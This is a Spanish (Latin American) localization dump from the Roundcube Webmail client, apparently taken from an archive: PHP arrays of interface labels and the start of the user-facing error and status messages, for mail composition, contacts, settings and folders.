$labels['emlsave'] = 'Descargar (.eml)';
$labels['changeformattext'] = 'Mostrar en texto plano';
$labels['changeformathtml'] = 'Mostrar en formato HTML';
$labels['editasnew'] = 'Editar como nuevo';
$labels['send'] = 'Enviar';
$labels['sendmessage'] = 'Enviar mensaje';
$labels['savemessage'] = 'Guardar como borrador';
$labels['addattachment'] = 'Adjuntar un archivo';
$labels['charset'] = 'Tipo de codificación de caracteres';
$labels['editortype'] = 'Tipo de editor';
$labels['returnreceipt'] = 'Confirmación de recepción';
$labels['dsn'] = 'Notificación de estado del envío';
$labels['mailreplyintro'] = 'El $date, $sender escribió:';
$labels['originalmessage'] = 'Mensaje original';
$labels['selectimage'] = 'Seleccionar imagen';
$labels['addimage'] = 'Agregar imagen';
$labels['selectmedia'] = 'Seleccionar película';
$labels['addmedia'] = 'Agregar película';
$labels['encrypt'] = 'Cifrar';
$labels['encryptmessage'] = 'Cifrar mensaje';
$labels['encryptmessagemailvelope'] = 'Cifrar mensaje con Mailvelop';
$labels['importpubkeys'] = 'Importar llaves públicas';
$labels['encryptedsendialog'] = 'Enviando mensaje cifrado';
$labels['encryptandsign'] = 'Cifrar y firmar';
$labels['keyid'] = 'ID de la llave';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Vencida';
$labels['keyrevoked'] = 'Revocada';
$labels['bccinstead'] = 'Usar Bcc';
$labels['addheader'] = 'Añadir destinatario (encabezado)';
$labels['insert'] = 'Insertar';
$labels['insertcontact'] = 'Insertar contacto(s)';
$labels['recipient'] = 'Destinatario';
$labels['recipientedit'] = 'Editar destinatario';
$labels['editidents'] = 'Editar identidades';
$labels['spellcheck'] = 'Corrección ortográfica';
$labels['checkspelling'] = 'Verificar ortografía';
$labels['resumeediting'] = 'Continuar con la edición';
$labels['revertto'] = 'Revertir a';
$labels['restore'] = 'Restaurar';
$labels['restoremessage'] = '¿Restaurar mensaje?';
$labels['ignore'] = 'Ignorar';
$labels['responses'] = 'Respuestas';
$labels['insertresponse'] = 'Insertar una respuesta';
$labels['manageresponses'] = 'Administrar respuestas';
$labels['newresponse'] = 'Crear nueva respuesta';
$labels['addresponse'] = 'Agregar respuesta';
$labels['editresponse'] = 'Editar respuesta';
$labels['editresponses'] = 'Editar respuestas';
$labels['responsename'] = 'Nombre';
$labels['responsetext'] = 'Texto de respuesta';
$labels['attach'] = 'Adjuntar';
$labels['attachments'] = 'Archivos adjuntos';
$labels['upload'] = 'Subir';
$labels['uploadprogress'] = '$percent ($current de $total)';
$labels['close'] = 'Cerrar';
$labels['messageoptions'] = 'Opciones de mensaje...';
$labels['togglecomposeoptions'] = 'Cambiar opciones de escritura';
$labels['attachmentrename'] = 'Renombrar archivo adjunto';
$labels['low'] = 'Bajo';
$labels['lowest'] = 'Más bajo';
$labels['normal'] = 'Normal';
$labels['high'] = 'Alto';
$labels['highest'] = 'Más alto';
$labels['nosubject'] = '(sin asunto)';
$labels['showimages'] = 'Mostrar imágenes';
$labels['allow'] = 'Permitir';
$labels['alwaysshow'] = 'Mostrar siempre las imagenes de $sender';
$labels['alwaysallow'] = 'Siempre permitir de $sender';
$labels['isdraft'] = 'Este mensaje es un borrador.';
$labels['andnmore'] = '$nr más...';
$labels['details'] = 'Detalles';
$labels['summary'] = 'Resumen';
$labels['headers'] = 'Encabezados';
$labels['allheaders'] = 'Todos los encabezados...';
$labels['togglemoreheaders'] = 'Mostrar más encabezados';
$labels['togglefullheaders'] = 'Mostrar todos los encabezados';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Texto plano';
$labels['savesentmessagein'] = 'Guardar mensaje enviado en ';
$labels['dontsave'] = 'no guardar';
$labels['maxuploadsize'] = 'El tamaño máximo permitido por archivo es $size';
$labels['addcc'] = 'Agregar Cc';
$labels['addbcc'] = 'Agregar Bcc';
$labels['addreplyto'] = 'Agregar Responder a';
$labels['addfollowupto'] = 'Agregar Seguir a';
$labels['mdnrequest'] = 'El remitente de este mensaje a pedido ser notificado cuando lea el mensaje. ¿Quiere notificar al remitente?';
$labels['receiptread'] = 'Confirmación del recepción (leído)';
$labels['yourmessage'] = 'Esta es una confirmación de recepción de tu mensaje';
$labels['receiptnote'] = 'Nota: esta confirmación solo prueba que el mensaje se ha mostrado en la computadora del destinatario. No es garantía de que el destinatario haya leído o entendido el contenido del mensaje.';
$labels['zoomin'] = 'Aumentar Zoom';
$labels['zoomout'] = 'Disminuir Zoom';
$labels['rotate'] = 'Rotar';
$labels['increaseimage'] = 'Incrementar tamaño de imagen';
$labels['decreaseimage'] = 'Disminuir tamaño de imagen';
$labels['rotateimage'] = 'Rotar imagen';
$labels['showtools'] = 'Mostrar herramientas de imagen';
$labels['hidetools'] = 'Ocultar herramientas de imagen';
$labels['name'] = 'Nombre para mostrar';
$labels['firstname'] = 'Primer nombre';
$labels['surname'] = 'Apellido';
$labels['middlename'] = 'Segundo Nombre';
$labels['nameprefix'] = 'Prefijo';
$labels['namesuffix'] = 'Sufijo';
$labels['nickname'] = 'Sobrenombre';
$labels['jobtitle'] = 'Puesto';
$labels['department'] = 'Departamento';
$labels['gender'] = 'Sexo';
$labels['maidenname'] = 'Apellido de soltera';
$labels['email'] = 'Dirección de correo electrónico';
$labels['phone'] = 'Teléfono';
$labels['address'] = 'Dirección';
$labels['street'] = 'Calle';
$labels['locality'] = 'Ciudad';
$labels['zipcode'] = 'Código Postal';
$labels['region'] = 'Estado/Provincia';
$labels['country'] = 'País';
$labels['birthday'] = 'Cumpleaños';
$labels['anniversary'] = 'Aniversario';
$labels['website'] = 'Sitio web';
$labels['instantmessenger'] = 'Mensajería instantánea';
$labels['notes'] = 'Notas';
$labels['male'] = 'masculino';
$labels['female'] = 'femenino';
$labels['manager'] = 'Administrador';
$labels['assistant'] = 'Asistente';
$labels['spouse'] = 'Cónyuge';
$labels['allfields'] = 'Todos los campos';
$labels['search'] = 'Buscar';
$labels['searchresult'] = 'Resultado de búsqueda';
$labels['advsearch'] = 'Búsqueda avanzada';
$labels['advanced'] = 'Avanzada';
$labels['other'] = 'Otro';
$labels['printcontact'] = 'Imprimir contacto';
$labels['qrcode'] = 'Código QR';
$labels['typehome'] = 'Casa';
$labels['typework'] = 'Trabajo';
$labels['typeother'] = 'Otro';
$labels['typemobile'] = 'Celular';
$labels['typemain'] = 'Principal';
$labels['typehomefax'] = 'Fax (casa)';
$labels['typeworkfax'] = 'Fax (oficina)';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Asistente';
$labels['typehomepage'] = 'Página web';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Perfil';
$labels['addfield'] = 'Agregar campo...';
$labels['addcontact'] = 'Agregar contacto';
$labels['editcontact'] = 'Editar contacto';
$labels['contacts'] = 'Contactos';
$labels['contactproperties'] = 'Propiedades del contacto';
$labels['contactnameandorg'] = 'Nombre y organización';
$labels['personalinfo'] = 'Información personal';
$labels['personal'] = 'Personal';
$labels['contactphoto'] = 'Foto del contacto';
$labels['edit'] = 'Editar';
$labels['cancel'] = 'Cancelar';
$labels['save'] = 'Guardar';
$labels['delete'] = 'Eliminar';
$labels['discard'] = 'Descartar';
$labels['continue'] = 'Continuar';
$labels['ok'] = 'OK';
$labels['rename'] = 'Renombrar';
$labels['addphoto'] = 'Agregar';
$labels['replacephoto'] = 'Remplazar';
$labels['uploadphoto'] = 'Subir foto';
$labels['choosefile'] = 'Seleccionar archivo...';
$labels['choosefiles'] = 'Seleccionar archivos...';
$labels['browse'] = 'Navegar';
$labels['newcontact'] = 'Crear nuevo contacto';
$labels['deletecontact'] = 'Eliminar contactos seleccionados';
$labels['composeto'] = 'Escribir a ';
$labels['contactsfromto'] = 'Contactos $from a $to de $count';
$labels['print'] = 'Imprimir';
$labels['export'] = 'Exportar';
$labels['exportall'] = 'Exportar todo';
$labels['exportsel'] = 'Exportar lo seleccionado';
$labels['exportvcards'] = 'Exportar contactos en formato vCard';
$labels['newgroup'] = 'Crear grupo nuevo';
$labels['addgroup'] = 'Agregar grupo';
$labels['grouprename'] = 'Renombrar grupo';
$labels['groupdelete'] = 'Eliminar grupo';
$labels['groupassign'] = 'Asignar a grupo...';
$labels['groupremove'] = 'Eliminar del grupo';
$labels['groupremoveselected'] = 'Eliminar contactos seleccionados del grupo';
$labels['uponelevel'] = 'Arriba un nivel';
$labels['previouspage'] = 'Mostrar página anterior';
$labels['firstpage'] = 'Mostrar primera página';
$labels['nextpage'] = 'Mostrar página siguiente';
$labels['lastpage'] = 'Mostrar última página';
$labels['group'] = 'Grupo';
$labels['groups'] = 'Grupos';
$labels['listgroup'] = 'Mostrar miembros del grupo';
$labels['personaladrbook'] = 'Direcciones personales';
$labels['searchsave'] = 'Guardar búsqueda';
$labels['searchdelete'] = 'Eliminar búsqueda';
$labels['import'] = 'Importar';
$labels['importcontacts'] = 'Importar contactos';
$labels['importtarget'] = 'Agregar contactos a';
$labels['importreplace'] = 'Remplazar toda la libreta de direcciones';
$labels['importgroups'] = 'Importar asignaciones del grupo';
$labels['importgroupsall'] = 'Todo (crear grupos si es necesario)';
$labels['importgroupsexisting'] = 'Solo para grupos existentes';
$labels['done'] = 'Listo';
$labels['settingsfor'] = 'Configuraciones para';
$labels['about'] = 'Acerca de';
$labels['preferences'] = 'Preferencias';
$labels['userpreferences'] = 'Preferencias de usuario ';
$labels['editpreferences'] = 'Editar preferencias de usuario ';
$labels['identities'] = 'Identidades';
$labels['manageidentities'] = 'Administrar identidades';
$labels['newidentity'] = 'Crear nueva identidad';
$labels['addidentity'] = 'Agregar identidad';
$labels['editidentity'] = 'Editar identidad';
$labels['preferhtml'] = 'Mostrar HTML ';
$labels['defaultcharset'] = 'Caracteres predeterminados';
$labels['htmlmessage'] = 'Mensaje HTML ';
$labels['messagepart'] = 'Parte';
$labels['digitalsig'] = 'Firma digital';
$labels['dateformat'] = 'Formato de fecha';
$labels['timeformat'] = 'Formato de hora';
$labels['prettydate'] = 'Fechas bonitas';
$labels['setdefault'] = 'Predeterminar';
$labels['autodetect'] = 'Automático';
$labels['language'] = 'Idioma';
$labels['timezone'] = 'Zona horaria';
$labels['pagesize'] = 'Filas por página ';
$labels['signature'] = 'Firma';
$labels['dstactive'] = 'Horario de ahorro de energía';
$labels['showinextwin'] = 'Abrir mensaje en una ventana nueva ';
$labels['composeextwin'] = 'Escribir en una ventana nueva ';
$labels['htmleditor'] = 'Escribir mensajes HTML';
$labels['htmlonreply'] = 'al responder un mensaje HTML';
$labels['htmlonreplyandforward'] = 'al renviar o responder un mensaje HTML';
$labels['htmlsignature'] = 'Firma HTML ';
$labels['showemail'] = 'Mostrar dirección de correo electrónico junto al nombre a mostrar';
$labels['previewpane'] = 'Mostrar vista previa ';
$labels['skin'] = 'Tipo de interfaz';
$labels['logoutclear'] = 'Vaciar la papelera al salir';
$labels['logoutcompact'] = 'Comprimir la Bandeja de entrada al salir';
$labels['uisettings'] = 'Interfaz de usuario';
$labels['serversettings'] = 'Configuración del servidor';
$labels['mailboxview'] = 'Visualización de la bandeja';
$labels['mdnrequests'] = 'Al solicitarse confirmación de recepción';
$labels['askuser'] = 'preguntarme';
$labels['autosend'] = 'enviar confirmación de recepción';
$labels['autosendknown'] = 'enviar confirmación de recepción a mis contactos; de lo contrario, preguntarme';
$labels['autosendknownignore'] = 'enviar confirmación de recepción a mis contactos; de lo contrario, ignorar';
$labels['readwhendeleted'] = 'Marcar mensaje como leído al eliminarlo ';
$labels['flagfordeletion'] = 'Marcar el mensaje para eliminación en lugar de eliminarlo';
$labels['skipdeleted'] = 'No mostrar mensajes eliminados';
$labels['deletealways'] = 'Si falla el mover los mensajes a la Papelera, eliminarlos';
$labels['deletejunk'] = 'Eliminar directamente los mensajes en No deseado';
$labels['showremoteimages'] = 'Mostrar imágenes remotas en el mensaje';
$labels['fromknownsenders'] = 'de remitentes conocidos';
$labels['always'] = 'siempre ';
$labels['showinlineimages'] = 'Mostrar imágenes adjuntas debajo del mensaje';
$labels['autosavedraft'] = 'Guardar borrador automáticamente';
$labels['everynminutes'] = 'cada $n minuto(s)';
$labels['refreshinterval'] = 'Actualizar (buscar nuevos mensajes, etc.)';
$labels['never'] = 'nunca';
$labels['immediately'] = 'inmediatamente';
$labels['messagesdisplaying'] = 'Mostrando mensajes';
$labels['messagescomposition'] = 'Escribiendo mensajes';
$labels['mimeparamfolding'] = 'Nombres de archivos adjuntos';
$labels['2231folding'] = 'RFC 2231 completo (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 completo (otros)';
$labels['force7bit'] = 'Usar codificación MIME para caracteres de 8 bits';
$labels['savelocalstorage'] = "Guardar en el almacenamiento local del navegador (temporalmente)";
$labels['advancedoptions'] = 'Opciones avanzadas';
$labels['toggleadvancedoptions'] = 'Cambiar opciones avanzadas';
$labels['focusonnewmessage'] = 'Enfocar la ventana del navegador en el nuevo mensaje';
$labels['checkallfolders'] = 'Buscar nuevos mensajes en todas las carpetas';
$labels['defaultfont'] = 'Tipo de letra predeterminado en mensajes HTML';
$labels['mainoptions'] = 'Opciones principales';
$labels['browseroptions'] = 'Opciones del navegador';
$labels['section'] = 'Sección';
$labels['maintenance'] = 'Mantenimiento';
$labels['newmessage'] = 'Mensaje nuevo';
$labels['signatureoptions'] = 'Opciones de firma';
$labels['whenreplying'] = 'Al responder';
$labels['replyempty'] = 'no citar el mensaje original ';
$labels['replytopposting'] = 'comenzar mensaje nuevo arriba de la cita';
$labels['replybottomposting'] = 'comenzar mensaje nuevo debajo de la cita';
$labels['replyremovesignature'] = 'Al responder, borrar la firma original del mensaje';
$labels['autoaddsignature'] = 'Agregar firma automáticamente';
$labels['newmessageonly'] = 'solo mensaje nuevo';
$labels['replyandforwardonly'] = 'solo responde y reenvía';
$labels['insertsignature'] = 'insertar firma';
$labels['afternseconds'] = 'luego de $n segundos';
$labels['reqmdn'] = 'Solicitar siempre una confirmación de recepción';
$labels['reqdsn'] = 'Solicitar siempre una notificación de estado de envío';
$labels['replysamefolder'] = 'Colocar respuestas en la carpeta del mensaje que ha sido respondido';
$labels['defaultabook'] = 'Libreta de direcciones predeterminada';
$labels['autocompletesingle'] = 'Al autocompletar, omitir direcciones de correo electrónico alternativas';
$labels['listnamedisplay'] = 'Enumerar contactos como';
$labels['spellcheckbeforesend'] = 'Verificar ortografía antes de enviar un mensaje';
$labels['spellcheckoptions'] = 'Opciones de la corrección ortográfica';
$labels['spellcheckignoresyms'] = 'Ignorar palabras con símbolos';
$labels['spellcheckignorenums'] = 'Ignorar palabras con números';
$labels['spellcheckignorecaps'] = 'Ignorar palabras con todas las letras en mayúsculas';
$labels['addtodict'] = 'Agregar al diccionario';
$labels['mailtoprotohandler'] = 'Registrar manejador de protocolo para enlaces mailto:';
$labels['standardwindows'] = 'Tratar ventanas emergentes como ventanas comunes';
$labels['forwardmode'] = 'Reenvío de mensajes';
$labels['inline'] = 'en el mensaje';
$labels['asattachment'] = 'como adjunto';
$labels['replyallmode'] = 'Acción predeterminada del botón [Responder a todos]';
$labels['replyalldefault'] = 'responder a todos';
$labels['replyalllist'] = 'responder solamente a la lista de correos (si hay una)';
$labels['allmessages'] = 'todos los mensajes';
$labels['folder'] = 'Carpeta';
$labels['folders'] = 'Carpetas';
$labels['foldername'] = 'Nombre de carpeta';
$labels['subscribed'] = 'Suscrita(s)';
$labels['messagecount'] = 'Mensajes';
$labels['create'] = 'Crear';
$labels['createfolder'] = 'Crear carpeta nueva';
$labels['managefolders'] = 'Administrar carpetas';
$labels['specialfolders'] = 'Capetas especiales';
$labels['properties'] = 'Propiedades';
$labels['folderproperties'] = 'Propiedades de la carpeta';
$labels['parentfolder'] = 'Carpeta madre';
$labels['location'] = 'Ubicación';
$labels['info'] = 'Información';
$labels['getfoldersize'] = 'Haga clic para obtener el tamaño de la carpeta';
$labels['changesubscription'] = 'Haga clic para cambiar la subscripción';
$labels['foldertype'] = 'Tipo de carpeta';
$labels['personalfolder'] = 'Carpeta privada';
$labels['otherfolder'] = 'Carpeta de otro usuario';
$labels['sharedfolder'] = 'Carpeta pública';
$labels['findfolders'] = 'Buscar carpetas';
$labels['namespace.personal'] = 'Personal';
$labels['namespace.other'] = 'Otros usuarios';
$labels['namespace.shared'] = 'Compartido';
$labels['sortby'] = 'Ordenar por';
$labels['sortasc'] = 'Ordenar de forma ascendente';
$labels['sortdesc'] = 'Ordenar de forma descendente';
$labels['undo'] = 'Deshacer';
$labels['installedplugins'] = 'Extensiones instaladas';
$labels['plugin'] = 'Extensión';
$labels['version'] = 'Versión';
$labels['source'] = 'Fuente';
$labels['license'] = 'Licencia';
$labels['support'] = 'Obtener soporte técnico';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Inglés';
$labels['westerneuropean'] = 'Europeo Occidental';
$labels['easterneuropean'] = 'Europeo Oriental';
$labels['southeasterneuropean'] = 'Europeo Sur-Oriental';
$labels['baltic'] = 'Baltico';
$labels['cyrillic'] = 'Cirílico';
$labels['arabic'] = 'Arábe';
$labels['greek'] = 'Griego';
$labels['hebrew'] = 'Hebreo';
$labels['turkish'] = 'Turco';
$labels['nordic'] = 'Nórdico';
$labels['thai'] = 'Tailandés';
$labels['celtic'] = 'Celta';
$labels['vietnamese'] = 'Vietnamita';
$labels['japanese'] = 'Japonés';
$labels['korean'] = 'Coreano';
$labels['chinese'] = 'Chino';
$labels['arialabeltopnav'] = 'Control de ventana';
$labels['arialabeltasknav'] = 'Tareas de la aplicación';
$labels['arialabeltoolbar'] = 'Barra de herramientas de la aplicación';
$labels['arialabelactivetask'] = 'Tarea activa';
$labels['arialabelmessagessearchfilter'] = 'Listado de filtros de correo electrónico';
$labels['arialabelmailsearchform'] = 'Formulario de búsqueda de mensajes de correo electrónico';
$labels['arialabelcontactsearchform'] = 'Formulario de búsqueda de contactos';
$labels['arialabelmailquicksearchbox'] = 'Ingreso de búsqueda de correo electrónico';
$labels['arialabelquicksearchbox'] = 'Ingreso de búsqueda';
$labels['arialabelfoldersearchfilter'] = 'Filtro de lista de carpetas';
$labels['arialabelfoldersearchform'] = 'Formulario de busqueda de carpetas';
$labels['arialabelfolderlist'] = 'Selección de carpeta de correo electrónico';
$labels['arialabelmessagelist'] = 'Listado de mensajes de correo electrónico';
$labels['arialabelmailpreviewframe'] = 'Previsualización del mensaje';
$labels['arialabelmailboxmenu'] = 'Menú de acciones de carpeta';
$labels['arialabellistselectmenu'] = 'Menú de lista de selección';
$labels['arialabelthreadselectmenu'] = 'Menú de listado de hilos';
$labels['arialabelmessagelistoptions'] = 'Opciones de organización y visualización de mensajes';
$labels['arialabelmailimportdialog'] = 'Diálogo de importación de mensajes';
$labels['arialabelmessagenav'] = 'Navegación de mensajes';
$labels['arialabelmessagebody'] = 'Cuerpo del mensaje';
$labels['arialabelmessageactions'] = 'Acciones del mensaje';
$labels['arialabelcontactquicksearch'] = 'Formulario de búsqueda de contactos';
$labels['arialabelcontactsearchbox'] = 'Ingreso de búsqueda de contacto';
$labels['arialabelmessageheaders'] = 'Encabezados del mensaje';
$labels['arialabelforwardingoptions'] = 'Opciones de reenvío';
$labels['arialabelreplyalloptions'] = 'Opciones de Responder a todos';
$labels['arialabelmoremessageactions'] = 'Más acciones de mensaje';
$labels['arialabelmarkmessagesas'] = 'Marcar mensajes seleccionados como...';
$labels['arialabelcomposeoptions'] = 'Opciones de escritura';
$labels['arialabelresponsesmenu'] = 'Menú de respuestas enlatadas';
$labels['arialabelattachmentuploadform'] = 'Formulario para subir archivos adjuntos';
$labels['arialabelattachmentpreview'] = 'Previsualización de archivos adjuntos';
$labels['ariasummarycomposecontacts'] = 'Lista de contactos y grupos para seleccionar como destinatarios';
$labels['arialabelcontactexportoptions'] = 'Opciones de exportación de contactos';
$labels['arialabelabookgroupoptions'] = 'Opciones de libreta de direcciones/grupos';
$labels['arialabelpreferencesform'] = 'Formulario de preferencias';
$labels['arialabelidentityeditfrom'] = 'Formulario de edición de identidad';
$labels['arialabelresponseeditfrom'] = 'Formulario de edición de respuestas';
$labels['arialabelsearchterms'] = 'Términos de busqueda';
$labels['helplistnavigation'] = 'Listar navegación por teclado';
$labels['helplistkeyboardnavigation'] = "Flechas arriba/abajo: Mover la selección/enfoque de la fila.
Espacio: Seleccionar fila enfocada.
Mayús + arriba/abajo: Seleccionar más filas arriba/debajo.
Ctrl + Espacio: Agregar/eliminar la fila enfocada a/de la selección.";
$labels['helplistkeyboardnavmessages'] = "Flechas derecha/izquierda: Expandir/colapsar mensajes en hilo (solo en modo en hilo).
Intro: Abrir el mensaje seleccionado/enfocado.
Eliminar: Mover los mensajes seleccionados a la Papelera.";
$labels['helplistkeyboardnavcontacts'] = "Intro: Abrir el contacto seleccionado/enfocado.";
PK
h�\�zH�0�0(program/localization/es_419/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = '¡Ha ocurrido un error!';
$messages['loginfailed']  = 'Falló el Login.';
$messages['cookiesdisabled'] = 'Su navegador no acepta cookies.';
$messages['sessionerror'] = 'Su sesión no es válida o ha expirado.';
$messages['storageerror'] = 'Ha fallado la conexión al servidor de almacenamiento.';
$messages['servererror'] = '¡Error del servidor!';
$messages['servererrormsg'] = 'Error del servidor: $msg';
$messages['connerror'] = '¡Error de conexión (no se puede contactar con el servidor)!';
$messages['dberror'] = '¡Error en la base de datos!';
$messages['windowopenerror'] = '¡La ventana emergente ha sido bloqueada!';
$messages['requesttimedout'] = 'Tiempo de espera expirado';
$messages['errorreadonly'] = 'No es posible realizar la operación. La carpeta es de solo lectura';
$messages['errornoperm'] = 'No es posible realizar la operación. Permiso denegado.';
$messages['erroroverquota'] = 'No es posible realizar la operación. No hay espacio en disco.';
$messages['erroroverquotadelete'] = 'No hay espacio libre en disco. Use Mayúsculas+Eliminar para borrar mensajes.';
$messages['invalidrequest'] = '¡Solicitud no válida! No se ha guardado la información.';
$messages['invalidhost'] = 'Nombre de servidor no válido.';
$messages['nomessagesfound'] = 'No se encontraron mensajes en esta casilla.';
$messages['mailboxempty'] = 'Casilla vacía';
$messages['nomessages'] = 'Ningún mensaje';
$messages['refreshing'] = 'Actualizando...';
$messages['loading'] = 'Cargando...';
$messages['uploading'] = 'Subiendo archivo...';
$messages['uploadingmany'] = 'Subiendo archivos...';
$messages['loadingdata'] = 'Cargando información...';
$messages['checkingmail'] = 'Revisando por nuevos mensajes...';
$messages['sendingmessage'] = 'Enviando mensaje...';
$messages['messagesent'] = 'Mensaje enviado exitosamente.';
$messages['savingmessage'] = 'Guardando mensaje...';
$messages['messagesaved'] = 'Mensaje guardado en Borrador.';
$messages['successfullysaved'] = 'Guardado exitosamente.';
$messages['savingresponse'] = 'Guardando texto de respuesta...';
$messages['deleteresponseconfirm'] = '¿Estás seguro que quieres eliminar este texto de respuesta?';
$messages['addedsuccessfully'] = 'Contacto agregado exitosamente a la libreta de direcciones.';
$messages['contactnameexists'] = 'Un contacto con el mismo nombre ya existe.';
$messages['blockedimages'] = 'Para proteger su privacidad, las imágenes remotas están bloqueadas en este mensaje.';
$messages['encryptedmessage'] = 'Este es un mensaje encriptado y no se puede mostrar. ¡Lo lamento!';
$messages['nocontactsfound'] = 'No se encontraron contactos.';
$messages['contactnotfound'] = 'El contacto solicitado no fue encontrado.';
$messages['sendingfailed'] = 'Error al enviar mensaje.';
$messages['senttooquickly'] = 'Por favor espera $sec seg(s). antes de enviar este mensaje.';
$messages['errorsavingsent'] = 'Ha ocurrido un error grabando el mensaje enviado.';
$messages['errorsaving'] = 'Ha ocurrido un error grabando.';
$messages['errormoving'] = 'No se pudo mover el/los mensaje(s).';
$messages['errorcopying'] = 'No se pudo copiar el/los mensaje(s).';
$messages['errordeleting'] = 'No se pudo eliminar el/los mensaje(s).';
$messages['errormarking'] = 'No se pudo marcar el/los mensaje(s).';
$messages['deletecontactconfirm']  = '¿Estás seguro que quieres eliminar el/los contacto(s) seleccionado(s)?';
$messages['deletegroupconfirm']  = '¿Estás seguro que quieres eliminar el grupo seleccionado?';
$messages['deletemessagesconfirm'] = '¿Estás seguro que quieres eliminar el/los mensaje(s) seleccionado(s)?';
$messages['deletefolderconfirm']  = '¿Estás seguro que quieres eliminar esta carpeta?';
$messages['purgefolderconfirm']  = '¿Estás seguro que quieres eliminar todos los mensajes en esta carpeta?';
$messages['contactdeleting'] = 'Eliminando contacto(s)...';
$messages['groupdeleting'] = 'Eliminando grupo...';
$messages['folderdeleting'] = 'Eliminando carpeta...';
$messages['foldermoving'] = 'Moviendo carpeta...';
$messages['foldersubscribing'] = 'Suscribiendo carpeta...';
$messages['folderunsubscribing'] = 'Desuscribiendo carpeta...';
$messages['formincomplete'] = 'El formulario no se ha completado en su totalidad.';
$messages['noemailwarning'] = 'Por favor ingresa una dirección de correo electrónico válida.';
$messages['nonamewarning']  = 'Por favor ingresa un nombre.';
$messages['nopagesizewarning'] = 'Por favor ingresa un tamaño de página.';
$messages['norecipientwarning'] = 'Por favor ingresa al menos un destinatario.';
$messages['nosubjectwarning']  = 'El campo "Asunto" está vacio. ¿Deseas ingresar uno ahora?';
$messages['nobodywarning'] = '¿Enviar este mensaje sin texto?';
$messages['restoresavedcomposedata'] = 'Se ha encontrado un mensaje escrito pero no enviado\n\nAsunto: $subject\nGuardado: $date\n\n¿Desea restaurar este mensaje?';
$messages['nosearchname'] = 'Por favor ingresa un nombre de contacto o dirección de correo electrónico.';
$messages['notuploadedwarning'] = 'Aún no se han subido todos los archivos adjuntos. Por favor espera o cancela la subida.';
$messages['searchsuccessful'] = '$nr mensajes encontrados.';
$messages['contactsearchsuccessful'] = '$nr contactos encontrados.';
$messages['searchnomatch'] = 'La búsqueda no retornó resultados.';
$messages['searching'] = 'Buscando...';
$messages['checking'] = 'Verificando...';
$messages['stillsearching'] = 'Todavía buscando...';
$messages['nospellerrors'] = 'No se han encontrado errores gramaticales.';
$messages['folderdeleted'] = 'Carpeta eliminada exitosamente.';
$messages['foldersubscribed'] = 'Carpeta suscripta exitosamente';
$messages['folderunsubscribed'] = 'Carpeta desuscripta exitosamente';
$messages['deletedsuccessfully'] = 'Eliminado exitosamente.';
$messages['converting'] = 'Quitando el formato...';
$messages['messageopenerror'] = 'No se pudo cargar el mensaje desde el servidor.';
$messages['fileuploaderror'] = 'Subida de archivo falló.';
$messages['filesizeerror'] = 'El archivo subido excede el tamaño máxmo de $size.';
$messages['copysuccess'] = 'Copiados $nr contactos exitosamente.';
$messages['movesuccess'] = 'Movidos $nr contactos exitosamente.';
$messages['copyerror'] = 'No se pudo copiar ninguno de los contactos.';
$messages['moveerror'] = 'No se pudo mover ninguno de los contactos.';
$messages['sourceisreadonly'] = 'Esta dirección fuente es de solo lectura.';
$messages['errorsavingcontact'] = 'No se puedo guardar la dirección del contacto.';
$messages['movingmessage'] = 'Moviendo mensaje(s)...';
$messages['copyingmessage'] = 'Copiando mensaje(s)...';
$messages['copyingcontact'] = 'Copiando contacto(s)...';
$messages['movingcontact'] = 'Moviendo contacto(s)...';
$messages['deletingmessage'] = 'Eliminando mensaje(s)...';
$messages['markingmessage'] = 'Marcando mensaje(s)...';
$messages['addingmember'] = 'Agregando contacto(s) al grupo...';
$messages['removingmember'] = 'Eliminando contacto(s) del grupo...';
$messages['receiptsent'] = 'Se ha enviado con éxito una confirmación de lectura.';
$messages['errorsendingreceipt'] = 'No se pudo enviar el aviso de retorno.';
$messages['deleteidentityconfirm'] = '¿Estás seguro que quieres eliminar esta identidad?';
$messages['nodeletelastidentity'] = 'No puedes eliminar esta identidad, es tu última.';
$messages['forbiddencharacter'] = 'Lo nombre de la carpeta contiene un caracter no permitido.';
$messages['selectimportfile'] = 'Por favor selecciona un archivo para subir.';
$messages['addresswriterror'] = 'La libreta de direcciones seleccionada no se puede escribir.';
$messages['contactaddedtogroup'] = 'Se han eliminado los contactos a este grupo exitosamente';
$messages['contactremovedfromgroup'] = 'Se han eliminado los contactos de este grupo exitosamente';
$messages['nogroupassignmentschanged'] = 'No se han cambiado las asignaciones de grupo.';
$messages['importwait'] = 'Importando, por favor espera...';
$messages['importformaterror'] = '¡Ha fallado la importación! El archivo subido no tiene un formato válido.';
$messages['importconfirm'] = '<b>Se han importado $inserted contactos exitosamente</b>';
$messages['importconfirmskipped'] = '<b>Salteadas $skipped entradas existentes</b>';
$messages['importmessagesuccess'] = 'Importados $nr mensajes exitosamente.';
$messages['importmessageerror'] = '¡Ha fallado la importación! El archivo subido no tiene un formato válido.';
$messages['opnotpermitted'] = '¡Operación no permitida!';
$messages['editorwarning'] = 'Cambiar el tipo de editor puede causar que el formato de texto se pierda. ¿Desea continuar?';
$messages['httpreceivedencrypterror'] = 'Ha ocurrido un error fatal de configuración. Contacte a su administrador de inmediato. <b>Su mensaje no puede ser enviado.</b>';
$messages['smtpconnerror'] = 'Error SMTP ($code): Ha fallado la conexión con el servidor.';
$messages['smtpautherror'] = 'Error SMTP ($code): Error de autenticación.';
$messages['smtpfromerror'] = 'Error SMTP ($code): Fallo en establecer remitente "$from" ($msg).';
$messages['smtptoerror'] = 'Error SMTP ($code): Fallo al agregar destinatario "$to" ($msg).';
